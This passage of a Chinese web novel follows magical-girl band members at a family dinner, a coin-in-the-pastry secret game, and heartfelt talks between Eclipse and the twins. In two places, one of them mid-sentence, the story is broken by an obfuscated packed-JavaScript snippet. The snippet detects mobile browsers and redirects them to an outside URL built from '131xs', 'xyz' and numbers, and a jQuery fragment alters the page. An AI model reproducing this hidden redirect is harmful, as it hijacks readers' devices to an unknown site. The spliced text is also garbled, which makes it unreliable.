“是国王游戏那样吗?”犬山晓有些紧张,不过她坐在位置上之后就一直很紧张,追溯一下的话她从列车上下来之后就很紧张了。 “诶!好有意思!像派对游戏一样!”有乐羽生兴致勃勃跃跃欲试。 “靠硬币来决定吗?”艾克里普看向那个泡芙塔,“那确实要吃慢一点了呢。” 等到森山寺夫妇也就坐之后,这次大型家庭聚餐就正式开始了。森山寺未央和森山寺未雅一左一右把她们父母包夹起来,艾克里普坐在森山寺未央的旁边,再一旁是有乐羽生,随后是不好意思和大人面对面坐的犬山晓,随后回到森山寺未雅。 “这里是不是应该有什么祝祷词蹦出来?”森山寺未雅问。 “对哦!家庭聚餐之前会有这个部分来着,我们要祷告吗?”犬山晓手放在膝盖上。 “不用不用,我们家并没有宗教信仰啦,大家放松点。”森山寺镜摆了摆手。 “那就随便说些什么,然后就开始吧!”有乐羽生将双手放在桌子上,双眼无法从泡芙塔上离开。 “今天是什么特殊日子吗?好像只是非常普通的一天。”艾克里普说道。 “那就,庆祝Mirare乐队成员成功聚集的聚餐!”森山寺未央气势十足。 “好!”森山寺未雅鼓掌,其余几人也配合着鼓掌了起来,于是聚餐终于正式开始了。 “虽然是亲手做的,但这样一看数量真是夸张。”森山寺波看着桌面感慨道,“吃不完不要硬撑哦,晚点会有收拾屋子的人过来,不用担心这个。” “不用担心这个,爸爸。”森山寺未雅一边啃食着披萨,一边对右边尽量不散发出存在感的犬山晓说,“对吧?” “啊!对的!”犬山晓吓了一大跳,“就算是拼尽全力我也不会让叔叔阿姨用心准备的食物剩下的!请放心。” “对吧!”森山寺未雅笑了。 “…你最近是不是太活泼了点?”森山寺波疑问道。 “咦?爸爸也这样说吗?”森山寺未雅摸了摸脑袋,“那就这样吧。” “你们家每天都吃这样的饭吗?”有乐羽生近乎要落泪了,“这个好好吃啊,而且真的能吃诶,就连看着像装饰品的小番茄也好好吃。” “那个是用汽水腌过的小番茄哦!”森山寺未央得意地说,“也不能每天都这样吃啦,这样的饮食是派对专属,平时也得吃健康点。” “小孩子还好,我们就不太行啦。”森山寺镜扶了扶眼镜,“说起来刚才看见就觉得了,这位同学看着好眼熟啊。” “阿姨说我吗?”有乐羽生眨了眨眼,“应该是之前的乐队演出录像里有我出现?” “这样说来应该确实是那样,不过总感觉在别的地方也见过。”森山寺镜若有所思。 “是上次我装扮成羽生的样子回家,被妈妈看到那次吧。”森山寺未雅说道。 “啊!没错,就是那次!”森山寺镜恍然大悟地笑了,“换了本人来就不太能认出来了呢。” “咦?”艾克里普有些惊讶,“之前认出来了吗?” “认出来了,不过假扮是天衣无缝的,别担心。”森山寺未雅说道。 “不应该啊,难道又出什么问题了吗…”艾克里普若有所思,她对自己的魔法非常自信,但目前为止出现了许多次例外,所以她也没那么确信了。 “可是阿姨刚才看见我就没有直接认出来呢,好神奇哦!”有乐羽生好奇地看向森山寺未雅,“当时未雅有主动说自己是谁吗?” “没有,很神奇吧?”森山寺未雅也得意地笑了。 “毕竟眼睛有时候也会看不清东西呢,不过未央和未雅没有近视真是太好了。”森山寺镜笑着说。 “那是怎么认出来的呢?”艾克里普非常讶异于这一点,若是伪装本身没有任何问题,那难道说森山寺镜也有特殊的眼睛吗? “大概就是感觉吧?这孩子有种熟悉的感觉,这样?不过这种感觉在其它时候就不管用了呢。”森山寺镜耸了耸肩。 “我倒是靠外型分辨这俩人的,她们其实差别还挺大的。”森山寺波说。 “哪里哪里?”森山寺未央好奇地问。 “未央的眼位更高一些,未雅的颈部骨骼更长一些,类似于这些。”森山寺波说道。 “原来是这样!也可以这样分辨啊!”犬山晓恍然大悟。 “你们也能分清她们两个吗?”森山寺波问道。 “可以是可以啦,不过是靠一些其它手段。”犬山晓不好意思地点了点头。 “不管是以前还是现在差别都很大呢,不过只要能分清就可以了。”艾克里普点头。 “分清很重要吗?我们其实也差不多啦,弄混的话就可以让未雅多动一动了。”森山寺未央一口气喝下了半杯果汁。 “那还是分清点比较好,你想都别想。”森山寺未雅反驳道。 “这个好好吃!有种五彩斑斓的味道。”有乐羽生夸奖了一下包饭。 “毕竟配料总是保密而且每次都不一样嘛。”森山寺未央说。 不一会森山寺夫妇就离席了,将餐厅留给剩下的各位。 “和我们比起来根本就没吃多少啊。”犬山晓感慨道,“是因为这些不合她们的胃口吗?” “别担心她们饿着哦,而且即使合胃口她们也没法和我们比的啦,而且血糖波动对大人来说是很致命的。”森山寺未雅说。 “这样啊,她们也没有吃泡芙,果然晚上应该少吃点甜点吗。”犬山晓若有所思地说。 “哪有这样的道理?”森山寺未雅不理解。 “没错,胜利的秘诀就是吃得越多越好!”森山寺未央伸手去摸下一个泡芙。 “小心别把硬币吞下去了。”艾克里普担心地看着有乐羽生,她一直在吃泡芙,吃完一个马上就伸手去拿下一个,每个泡芙不会在餐盘里停留超过半分钟。 “别担心。”有乐羽生说,“艾克里普不吃吗?想拿到硬币的话就要多吃点哦。” “这次的规则是什么来着。”森山寺未雅问。 “我想想。”森山寺未央思索的时候也没有忘记去拿泡芙,“不如拿到硬币的人能问其余每个人要一个秘密,如何?” “这个不就纯看被问的人想说什么嘛。”森山寺未雅有些不满,“还不如让抽到硬币的人强迫其余每个人为她做一件事。” “你是不是默认自己就是拿到硬币的那个人了?我和你说你想都别想。”森山寺未央冷哼一声,加速咀嚼。 “我也支持用秘密作为奖励哦,而且这样很有意思不是吗?也可以趁机说些想说的。”有乐羽生笑着说。 “哦!这样说来确实呢,那我也支持这样。”犬山晓自知运气不好,这样反而比较合乎她的想法。 “那就这样吧!我也很期待有人能来问我问题呢。”艾克里普说着,也伸手拿了一个泡芙。 “不如趁现在聊聊最近的收获吧,大家都调查到了什么有趣的东西吗?”森山寺未央问道。 此时桌上的食物近乎全部消失了,只剩下些许水果,以及中间那座泡芙塔。 “我在东流湾港口找到了制毒的工厂并将它的内部设施销毁了,那里的工人几乎全都对工厂的实际作用知情。”艾克里普说道。 “哦哦!做得好,这里离东流湾很近,这样一来这里也安全了不少。”森山寺未央说道。 “我在那个俱乐部里找到了记录证据的摄像头,不过这个该交给谁呢?启明星侦探吗?不过她也只说了希望我们能保存好。”有乐羽生想了想说,“我还遇到了两个天使,最后也解决了。” “两个吗?那羽生进步很快啊!”艾克里普夸赞道。 “其实那两个战斗能力并不强啦,主要就是靠幻觉攻击,并没有对我造成很大的影响。”有乐羽生说,“不过那两个也是能力与精神有关的双胞胎,这样来看有些即视感呢,名字是叫做库伦。” “这样说来,之前我也遇到了身上左半边是翅膀天使,而且六十七号还说那是他哥哥!”犬山晓再次说起这件事还是很惊讶,“那个天使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“天使是阿贝尔家族族人起的名字吧,现在的控制者已经不是阿贝尔家族的人了。要真顺应宗教化,那我们的敌人可能就会叫智天使什么的了。”有乐羽生说。 “这个名字的话总感觉在哪里见过这种敌人啊。”森山寺未央若有所思,“我对物理学不算了解,等我回去再研究一下看看。” “真叫这个名字的话你现在要看的就是哲学书和圣经了。”森山寺未雅说。 “但是啊,如果真的叫智天使什么的话,我们大概一开始就能分辨出来敌人是天使中的一种了吧,她们完全不掩饰自己的名字呢。尤其是格雷伊,我们很久以前就遇到了。”犬山晓说道。 “这样说的话,格雷伊难道也是一个代号吗?”有乐羽生意识到了这一点,“她也算是阿贝尔家族的后代了,没道理博蒙给孩子起这个名字。” “确实呢,不过就连博蒙她不也直接称呼其为格雷伊吗?”艾克里普叹了口气。 “格雷伊对博蒙的态度也大概有这个称呼的原因在里面吧,会叫她原名的人已经不存在了。”有乐羽生说着,语气有些低落。 “说起代号,之前我遇到的那个一家族才是,名字用骰子骰出来什么的也太奇怪了吧。”犬山晓不敢想自己去骰会扔出什么惊世骇俗的数字。 “如果是骰子的话,控制数字也没那么难哦,熟练的人随手一摇就能摇出来六个同数字。”森山寺未雅比划着说,明显她自己就挺熟练的。 “毕竟赌博实际上是概率加上手法,以及庄家的心情,运气反而只有一小部分。”艾克里普说道,“不过即使是这样,我见过的赌徒无论如何最后都输的很惨,及时收手并抽身才是最好的做法吧。” “这个才是最难的部分吧,赌博也好,其它事情也好。”有乐羽生摇了摇头。 “…确实啊。”犬山晓想起了很多事情,以及萨尔里,“而且总感觉赌徒的思维和正常人的思维相差很大,很容易就能做出很疯狂的事情。” “赌徒很可怕!明明本来还是个正常人的,赌博之后做出的事情完全就和本性相违背了。”艾克里普想起这种人都觉得毛骨悚然。 “是因为欲望吧,纯粹冷静的人应该就不会受影响了。”森山寺未雅说。 “这样的话,那除了那种为赌博游戏而疯狂的赌徒以外,其它那些把自己的未来赌在一个可能性上的人也可以说是赌徒吧。”犬山晓说道,“比如之前我们遇到的一二三四,她要做的事情我根本就无法理解。” 以常人的视角来看,反抗亚贝琉家族可以说是比战胜天灾更为可笑的想法了,犬山晓认为一二三四准备做的事情无疑就像一二七所说的那样,是在送死。 “一二三四,很耳熟的名字呢,不过比起她来说她的祖母,也就是上一代首领的名字更为如雷贯耳一点。”有乐羽生说,“原来一家族也是白夜社的一部分,怪不得Evo有这么多钱。” “一二三四,那位赌神叫一二三来着,难道全名是一二三三吗?”森山寺未央猜测道。 “是的,因为她的原因,上世纪末的赌博场所简直是雨后春笋一般地涌现呢。”艾克里普感慨道,“赌博变成了一种广泛而且难以定义的行为,那时的人类普遍观念和现在相差很大,真是不可思议,明明才几十年的时间。” “那个时候大家丢钱和挣钱都又快又容易呢,不过那样反而被认为是经济上升期。”有乐羽生对此没什么实际体验,经济课本上说起来倒是详细。 “是这样吗?”艾克里普想起了夜藤事务所那不太可观的收入账本。 “…是这样吗?”犬山晓想起了自己之前还没与克拉拉相遇时在其它城市艰苦求生的日子,□□在大部分城市作风都差不多,也一样的记仇,这也是为什么她换个城市换个名字之后不再主动接触□□的原因之一。 “大富翁这个类型的游戏就是那个时候流行起来的吧,也是骰子决定一切,现在的大家对那个时候的社会都没什么概念了。”森山寺未央说道,她本人也是没什么概念的人之一。 “纸上谈兵就是很容易的!赌博也是这样吧,说是可以冷静地去看,但身临其境的话无论如何都冷静不下来吧。”有乐羽生感同身受。 “毕竟赌场的氛围就是那样的。”犬山晓为那乌烟瘴气的浑浊空间叹了口气。 “总感觉晓那边遇到了很有意思的东西啊。”森山寺未央说,“我们一直都在巡逻,偶尔打击一下坏人和魔物,只是偶尔听到有人在聊关于罢工的事情。” “这件事我这里也有听到不少,不过前因后果比较复杂,时间就是这个双休日内,不知道和我们要做的事有没有关系。”艾克里普说。 “启明星侦探的说法是有关系,她说罢工也是白夜社旗下的一支家族促使而成的,而这件事后面也会有亚贝琉家族的推手。”犬山晓说。 “罢工,是港口码头工人罢工吗?不知道这次规模怎么样,以前最严重的一次整个东岸都停摆了,公交车听说也停工了。”有乐羽生说。 “规模如何我也不清楚,不过无论如何都会很混乱吧。要是有人趁乱做些什么的话,造成大规模的伤亡还是很容易的。”犬山晓说着眉头皱了起来。 “那我们这几天还要顺便看着点这些问题。不过,为什么要造成大规模的伤亡呢?说起来如果以这个为敌人的最终目标的话很多事情都解释得通,不过为什么呢?”森山寺未雅叹了口气。 “这也是我想知道的,而且与我交手的那个天使最后逃跑了,不知道是想去做什么。”犬山晓对此有些担心。 “居然会逃跑吗?我遇到的那两个都对自己的生命,看得很轻。”有乐羽生说到这里声音也轻了些。 “我遇到的那个也是这样。”艾克里普思索着说,“不过这些存在的行动就以完成任务为主要行动目的的,本身就。”她想说那些存在本身就活不了多久,也没什么活下去的意义。 但她又想起了之前遇到的事情,不由得在这里沉默了下来。 “我们做好自己的事情就好啦,那些存在无论如何都是我们的敌人吧?不用为敌人思考太多啦!”森山寺未央比划着说。 “没错,我们只要担心敌人想做什么,想造成什么结果就好了。”森山寺未雅点了点头,“希望事情能顺利的,迅速的,干净地被解决。” “别担心,大家尽力而为就好了,大家一定要注意人身安全。”艾克里普提醒说,“遇事不决就跑,然后和我说,知道了吗?” 谈话间,泡芙塔也消失殆尽了,但没有谁提出自己拿到了硬币。 “…不会真的被谁嚼碎了吞下去了吧?”森山寺未雅看向犬山晓。 “为什么看我啦,我还是分得清甜品和金属的口感的好吗?而且我没吃几个哦,就是没有抽到我。”犬山晓摊手,对此并不带有什么抱怨。 “难道说是因为有谁想隐瞒自己吃到了硬币吗?因为想悄悄地问大家秘密。”森山寺未央大惊失色,“这样一来就能随时用这些秘密威胁每个人了,好聪明的做法。” “你说得太详细了反而很可疑哦?”森山寺未雅提醒。 “不过这样也算在规则里吧?”有乐羽生问道。 “也可以啦。”森山寺未央觉得没关系。 “那不如大家分开藏起来吧?就像捉迷藏那样,然后让有硬币的人去找我们。”有乐羽生提议道。 “派对活动的天才啊!”森山寺未央感慨道,“那就这样吧!二楼是爸爸妈妈的地盘,其它地方可以随便跑,大家一会见!” “记得洗手哦。”森山寺未雅提醒说。 “到底会是谁呢?”艾克里普对此有些感兴趣。 “艾克里普只吃了一个呢!不过万事皆有可能,我要去找地方躲起来啦。”有乐羽生说着离开了,离开前有记得去洗手。 “不知道是谁呢?”犬山晓有些紧张地离开了。 艾克里普也准备找个地方藏起来,她都想好了藏在哪里,之前坐在客厅发呆的时候院子里的那棵树有吸引到她的视线,现在日落过去没多久,坐在上面的话视野应该还不错。 这样想着,她也前去卫生间洗手,洗漱时她顺便把胃袋掏出来准备处理一下,但她很快意识到胃袋中除了形状还算完整的食物残渣以外,还有一个绝对不该出现在胃袋中的金属物体。 那是一枚金属游戏币,正反面花纹华丽,面值是“一条命”。 艾克里普看着手里那枚被清理干净的硬币,久久无法回神。 66.第三行 由于艾克里普只是准备迅速地解决一下卫生问题,她进入卫生间时并没有上锁,她甚至没有关门,彩窗玻璃门虚掩着,有脚步声靠近后毫不犹豫地推门而入。 “啊,有人啊,不好意思。”是森山寺未雅,“我来拿大家晚上洗澡用的毛巾的。” 但很快,她就注意到了艾克里普手上的硬币,以及另一只手上拎着的,看着无比奇怪的,其中还有些许看得出原型是什么的,大概是器官的东西。 “…说真的,我不是故意的,但是总觉得这是必然发生的事情。”森山寺未雅面色拧巴了一下,“好吧,好吧,我不会说出去的。先不说现代互联网崇尚喝露水解决三餐,你的行为我不知道原因也不会进行批判,我真的不会和任何人说的,未央我也不说。” 艾克里普看着森山寺未雅莫名很紧张的样子不由得有些想笑,她随手将临时胃袋销毁了,黑灰融入空气,不留痕迹。 “我没有进食的需求,所以平时入口的食物都会直接咽下去,没想到还会有这种事情发生呢。”艾克里普自己也不知道该说什么好。 “这样啊,那艾克里普陪着大家其实挺辛苦的吧?”森山寺未雅问道。 “这对我来说只是随手的事情,而且我从很久以前就开始这样做,已经习惯了,不用担心我。”艾克里普笑着摇了摇头。 “…我也不好说什么,不过既然在这里遇到了,那就来履行一下责任吧。”森山寺未雅有了觉悟,“如果是艾克里普的话就不能随便说点冷门小知识了,你有什么特别想了解的部分吗?” “哎呀,这个的话。”艾克里普一时也不知道她该问些什么,她看了看手里的硬币,又看向了眼前的森山寺未雅。 艾克里普认识眼前这个孩子,也看得清她的本质。这是一个喜欢观察别人的孩子,她总是在看着别人,一边毫不留情地塑造自我,一边毫不留情地将好不容易塑造出来的自我扔进垃圾桶里面。她的自我实际上已经存在了,但她或许还需要一段时间才能察觉到。 对于这个孩子,艾克里普总有些不知道该如何和她相处。森山寺未雅曾经并不是魔法少女,甚至可以说是魔法的受害者,但在发生了一些事之后,她现在已然是一个能与她的妹妹并肩作战的魔法少女了。但她本人似乎并不太在意这个身份,不如说她是因为这个身份和自己妹妹强加连带责任才选择与大家一起行动的。 也就是说,这个孩子是一个不需要魔法,也不想成为魔法少女的孩子,魔法与魔力于她而言就和突然出现在生活中的临时活动一般,一切过去之后就可以尘封起来了。 就像艾克里普能一眼就看到的那样,这是一个不喜欢与多余的人或事情牵扯起来,并引来更多麻烦的孩子。艾克里普想知道她对于自己的看法,但她很快就意识到这对她而言是无用的,她不会因为看法而改变。 但这枚硬币本身就是她不需要的东西,那问一些不需要的问题不就正好吗? “这样的话,我想要了解未雅对于我的看法,什么的。”艾克里普表情难得地有些不好意思,她的长发本就遮住了大半张脸,还戴着眼镜,基本上没有人能快速看清她的表情了。 “关于这个的话,我想想。”森山寺未雅歪着脑袋想了想,很快就想起了什么,恍然大悟一般地说道,“哦哦,确实是有这么一个事情可以说的,这件事情本来不说比较好,不过既然有这么一个机会,那就趁此机会说一下吧。” “是什么呢?”艾克里普有些好奇。 “刚开学的时候我进入班级的时候注意到班上有一群人围在一张桌子旁边,很热闹地在讨论什么,但你也知道那个时候我对很多事情都不感兴趣的,但唯独那个现象实在是太奇怪了,所以我也看了过去。”森山寺未雅说起这里笑了起来,“大家居然围着一张空着的桌子聊天,这也太奇怪了吧?” “空着的?有这么一回事吗?我们是一个班级的不是吗?”艾克里普也认为这件事很奇怪,但她记忆中班上并没有发生过这样的事情。 “我听了一会才知道,她们围着的人叫艾克里普-阿尔卡纳,是国际转学生。”森山寺未雅看着艾克里普说道,“大家都看得到你,未央也看得到你,只有我,你的全身上下我都看不到,只有偶尔你拿着书或者书包的时候我能察觉到那里大概是有个人的吧。” “…还有这样一件事?”艾克里普着实吓了一跳,“但是但是我没察觉出来你有什么异常现象,就连视线也是正常的,而且你听说乐队里有我这么一个人不会觉得很奇怪吗?” “假装一切正常是我擅长的项目,而且当时情况复杂,我也没想那么多。”森山寺未雅摇了摇头,“直到后来我进入未央的结界再出来以后,才第一次看到你的样子。” 对有常识的人来说那简直就是某种恐怖故事,但对于那时的森山寺未雅来说只要事没凑到自己的脸上那就可以当作是什么都没有发生过。 太奇怪了,艾克里普心想,这太难以理解了。 眼镜虽然有降低存在感的用处,但也仅此而已,不会让她直接隐身。更别提开学第一天她根本就没有带着眼镜来学校。 “转折点是进入未央的结界的话。”艾克里普思索了一会,不可置信地问道,“难道是因为从那时开始你才意识到魔力,而在此之前以魔力构筑而成的一切对你来说都是不存在的,你主观不接受这种存在潜意识也不愿意处理,这样吗?” “大概就是这样了。”森山寺未雅点了点头,“反过来说,你的全身上下都是用魔力构建而成的吧,衣服也是。” “…确实是这样。”艾克里普说着,心中还是难以理解,或者说难以接受有这么一件事发生,她全身都由魔法构成,那哪怕她穿了普通人类的衣服,在那时森山寺未雅这样的人眼里也不过是一件在半空中行走的衣服而已。 不如说完全否认魔法存在的森山寺未雅也同样否认了艾克里普的存在本身,那时的她一定是无论如何在对方面前挥舞双手都无法引起对方的丝毫注意的吧。 “为什么未雅会那样那样想呢?明明其它的同学也能看到我的。”艾克里普忍不住问了,但她又想到这样的问题是没有意义的,因为这件事已经过去了,而这个世界上大概不会有第二次如此特殊的事情发生,即使发生了也与她无关,毕竟她也不会主动插手普通人的事情,那普通人看不看得到她又如何呢? 看不看得到,真的有那么重要吗?艾克里普责问自己。 “如果我猜测的没错的话,那是因为我在未央成为魔法少女之前从未真的见过‘魔法,魔力或魔物’的存在,所以并没有在脑子里留下印象。有些人会接受这个世界上可能存在魔法,或者说神秘生物的可能性,比如说我妈妈,以及这个世界上的所有人。没见过就等于不存在的等式对人们来说是不成立的。但在那之后的我完全不接受新的可能性,也就不会主动处理新的事物,所以没见过就等于不存在。”森山寺未雅耐心地解释道。 艾克里普陷入了沉思。 “没见过就等于不存在”是一种很日常化的,对于怀疑的表达。从最基础的“无知”,到上升到哲学逻辑思维的“思维局限性”,人们大多数或多或少,或明显或不明显地抱有这样的态度。古往今来,所有区域的人都在以不同的方式反驳这种局限性。 最经典的“无知”就是耶稣从死里复活这一桥段了,“耶稣对他说,‘你因看见了我才信,那没有看见就信的人有福了。’”。这个桥段中耶稣对信与不信的人都展现出了慈爱,理解和教导,但“有福”指的也是拥有“无法被看见的被神所爱”,得到的也是“祝福你上天堂”这种无法被眼睛看见的东西。主观上信的人也会信自己得到了爱与幸福,也会感到幸福,也可以说是有福的了吧。反言之,不信的人也不会相信自己受到了祝福,那这样的人可以算是有福的吗? 艾克里普无法思索得出一个答案,她能一视同仁地保护这座城市中所有信与不信的人,但是,她不理解不信的人,便也无法祝福不信的人。若是说森山寺未雅是眼见了之后才信的,那她到底算是哪一边的?明明森山寺未雅也是魔法少女,她却没办法祝福自己的同类吗? 就像是“思维局限性”这一限制中富有代表性的那一个论点一样,她应该欺瞒自己的内心去祝福森山寺未雅,还是根据自己的内心判断,如实说出自己的想法呢? 明明你已经近乎全知全能了,却连观察到事物发展可能性的能力都没有吗? “不是这样的。”艾克里普喃喃自语,嘴漏了脑袋的风。 “…这个秘密确实有些伤人吧,抱歉,这个世界上应该也不会有第二个我之前那样的情况发生了吧。”森山寺未雅说。 “不,不是这样的!”艾克里普回过神来发现自己说了什么,“虽然一开始我们没办法互相理解,但现在我们已经是朋友了不是吗?而且我们还会一起面对未知的敌人,无论如何以前的事情都已经过去了,我们现在应该向前看!” 说着说着,她自己都为自己话语里浮于表面的表达感到不妥。 “这样吗,艾克里普,我也是这样想的。”森山寺未雅看着艾克里普说道,“能看到你,能和你成为朋友,能一起围在桌子边吃饭,我真的很开心。这一切之中你的努力一定是我没办法想象的吧,我想要一直信任你,也会为此而努力的。” “…我也是的,未雅。”艾克里普说道。 “努力”也是没办法在出现结果前被看到与证实的东西,若是森山寺未雅未见也能相信其存在,并为这个想法付之信任的话,那样的话—— ——那样的话,艾克里普认为,自己若是能相信这句话中的真心,那也能获得幸福。 “我们相处的时间还长着呢。”森山寺未雅笑了,开始翻箱倒柜找毛巾,“艾克里普去找大家吧,记得去地下室看看。” “那我就先离开了。”艾克里普想了想,回头说道,“阿姨她非常喜欢探索未知生物呢,未雅也喜欢吗?” “我喜欢以自己观察到的东西作判断哦。”森山寺未雅头也不回地说。 “这样啊。”艾克里普说着,离开了卫生间。虽然说方式有些不同,但果然在这方面她们都差不多嘛,她这样想着。 按照楼层顺序,艾克里普顺着楼梯前往了地下室,还没下楼梯她就听见了地下室有谁在翻找东西的声音,各种材质的物件噼里啪啦地砸在货架或地毯上,明显是有谁在翻箱倒柜。 这样不就是完全没有好好地隐藏起来了吗?艾克里普这样想着走下楼梯,前往发出动静的储物间,发现造成动静的人正是提出要玩捉迷藏的森山寺未央。 “啊!”森山寺未央听见身后有脚步声吓了一跳,“是艾克里普啊,我在找一会要玩的游戏,东西也太多了吧!等一下,艾克里普出现在这里的话也就是说。” “对的,拿到硬币的人是我。”艾克里普有些不好意思地说,森山寺未央蹦了起来,小心地没去踩地上的杂物,从夹缝中跳出了杂物间。 “居然是艾克里普,我明明看见你只吃了一个!”森山寺未央感觉不可思议,“不过是艾克里普真是太好啦,不过只要不是未雅是谁都好!居然用的是这个硬币呀,每次带去街机厅这个硬币都莫名其妙地会被剩下来呢。” 硬币闪闪发光。 “这也是我没想到的,不过这也是一次不错的机会呢。”艾克里普不得不承认这一点。 “得知秘密的机会吗?既然是艾克里普的话,那不如告诉艾克里普我的秘密底牌?这可是未雅都不知道的哦!”森山寺未央思索着说,“不对不对,这个大家迟早会知道的,用这个来当作秘密奖励就太不公平了,让我想想。” 艾克里普认识眼前这个孩子,也知道她的本性。森山寺未央是非常依赖自己姐姐却不自知的孩子,是思考方式与行动方式都异于常人的魔法少女,但除此之外,她也是个好奇心极强,行动力也非常强大的孩子。她有爱她的家人,陪她长大的姐姐,于是她也明白爱与陪伴的重要性,在哪怕面对未知的困难时也从没有想过要放弃。 在第一次遇到森山寺未央时,艾克里普曾因对方在魔法上遇到的障碍而感到担忧,普通人面对魔物基本上没有胜算,同理,不强大的魔法少女也很难在战斗时自保。虽然这样说与她的本意相违背,但她一开始有考虑过劝说森山寺未央不要一个人与魔物战斗。 但很快,她的成长就给了艾克里普一个很大的惊喜。在接受了指导过后,森山寺未央迅速掌握了一种只有她自己能理解能使用的战术,这令艾克里普感到欣慰的同时偶尔也会感到陌生。 那种使用魔法的方式真的是寻常魔法少女能做到的吗?很快,现实就告诉了艾克里普:当然不是啦!森山寺未央并不是以寻常手段成为魔法少女的,所以她才难以用寻常的魔法去对付魔物吧。 虽然如此,但艾克里普从未将她视作异类,只是认为这是个有些特殊的孩子。后来她发现森山寺未央似乎在常人间也是个有些特殊的孩子。 这样的她,会告诉我什么秘密呢?艾克里普有些期待。 “果然,还是得把这件事告诉艾克里普啊。”森山寺未央思索了一会之后,下定决心了一般深呼吸之后开口道,“之前我因为未雅生病而选择成为魔法少女之后,一直到与大家相遇为止都是一个人战斗的,说实话那真是一段不堪回首的往事啊,爸爸妈妈也有些察觉到了不同吧。” “没错,但是未央现在已经是非常强大成熟的魔法少女了呢!”艾克里普笑着说。 “我也觉得我超强的!不对不该说这个。”森山寺未央回过神来,“之后我察觉到未雅的症状可能是因为我的魔法引起的之后,我已经做好了最坏的打算。” 最坏的打算是什么呢?艾克里普心里思索着,如果以她的视角来看的话,大概就是强行切开对方的脑袋进行确诊和手术了吧。虽然森山寺未雅自己说了她曾经看不见艾克里普,但在昏厥的情况下,她也没办法阻止艾克里普对她的大脑进行魔法手术。 这件事说出来终归是不太好的,所以艾克里普从来不说她说的“想想办法”是什么办法。 “未央说的打算是什么呢?”艾克里普问道。 “其实那个时候我是这样想的,如果魔法没办法被取消的话,那就想办法把魔力源头隔开,或者让魔力源头枯竭就好。所以啊,那个,就是。”森山寺未央完全不敢去看艾克里普的脸,但还是说了下去,“所以那个时候我在想,如果未雅没办法的话,我就去想办法不做魔法少女了,什么的。” 不做魔法少女了,艾克里普不由得在心中重复这句话,她一遍又一遍的重复,不知道为什么,她明明能理解森山寺未央所说的一切原因和逻辑,但就是无法接受。 是因为那孩子不了解魔法少女,这可不是想当就当不想当就可以转头就走的,她也就是那样说说而已,她不可能做到的。艾克里普这样想着。 可是,若是放在之前有人告诉艾克里普,我因为想治好别人的病所以现在我要想想办法去成为魔法少女!她也绝不会信的,她也只会当这是玩笑话,不去接受的。 所以这种心情诞生的原因并不是对无知的蔑视,艾克里普心想,那这又到底是为什么呢?难道说是因为她本身将保护城市视作自己的使命,将魔法视为自己的唯一,所以在听到有人是以这样的原因去成为魔法少女,现在又要以同样的原因尝试退出,而感到不满吗? 可若是这个原因的话,那她应该在听闻森山寺未央成为魔法少女的初衷的时候就有了这种心情才对,而不是现在才感受到。 所以啊,就是因为你知道,你知道她能做到,所以才这样悲伤的,没错,艾克里普,你现在正在感到悲伤,你的泪腺呢? 于是艾克里普低下了头。 “我。”她不知道该说什么去回复这个秘密带给她的悲伤,只能吐露出来一个字。 “艾克里普听了这件事之后心里是什么感觉呢?”森山寺未央问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807999|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>非得问这个吗?艾克里普心想,她抬头看森山寺未央的眼睛,却发现那是一双无比真挚,带着担忧与急迫的眼睛。是了,她确实是一个特殊的孩子,她不太能理解她人的感情,也因此躲藏于自己姐姐的身后。 可现在森山寺未雅又不在这里,森山寺未央为何要说出这种话来,又询问听了这些话之后的她的感受呢?艾克里普感到悲伤。 “我必须得知道艾克里普现在真实的感受才行!”森山寺未央看艾克里普不说话,急切地走到她的身前,握住了她紧握着的手,“我没办法理解艾克里普听到这件事之后心里是怎样想的,无论什么都好,请告诉我吧!” “我现在十分悲伤,未央。”艾克里普还是低着头,她的声音轻而缓,“如果你真的那么做了的话,我是没办法阻止你的,我没办法阻止我失去你。” “原来是这样。”森山寺未央说,“艾克里普,不要担心,你不会失去我,也不会失去我们的。” “不是的,未央,如果你,或者你们中的任何一个不再是魔法少女,而是变回了普通人的话,我就没办法找到你们了。”艾克里普说,“我就不再能从人群中一眼就看出你们是谁,不再能这样与你们心平气和地交流,也会就失去你们了。” 艾克里普看人时能看清人的本质,人习惯性成长,成长时那一层层的外来物覆盖在本质上,对艾克里普来说形同虚设。只有魔法少女是真正永恒不变的,只有魔法少女,哪怕是成长之后也永远纯粹,艾克里普不用担心对方不经意间透露出令她作呕的本性。 这样的存在若是变回了普通人,哪怕有原本共同度过的经历所在,艾克里普也不认为自己还能如原来那样与其相处,将对方视作为自己的朋友了。 艾克里普感受握住自己的那只手的温度,心中对自己无法阻止这样的可能性感到悲伤。 “抱歉,艾克里普,我也不想失去你。”森山寺未央说。 “没关系,这件事已经过去了,我们会一起度过以后的日子的。”艾克里普说。 “艾克里普,我不想失去你,我们已经是朋友了,我第一次交到这么多好朋友。”森山寺未央看着艾克里普说道,“虽然我没办法感受到你的悲伤,也没办法理解你说出那句话的时候,到底是真的那样想的还是只是希望这件事不再被提起。” 这不是看得很清楚嘛,艾克里普心中这样想到。 “有的时候我会觉得周围的一切对我来说很遥远,时间偶尔过得很快,有时又很久一成不变,我害怕很多事情不受我的控制,在我的不经意间会有我无法挽回的事情发生。艾克里普,我害怕你的离开是因为我没能注意到一些事,不,我害怕你的离开,无论是因为什么原因。”森山寺未央想到有一天艾克里普可能会离开她们的身边,就不由得想哭。 “…我也是一样的,未央。”艾克里普叹了口气,看向森山寺未央,她隐藏在发丝与眼镜之后的瞳孔诚实地映照出森山寺未央的真心。 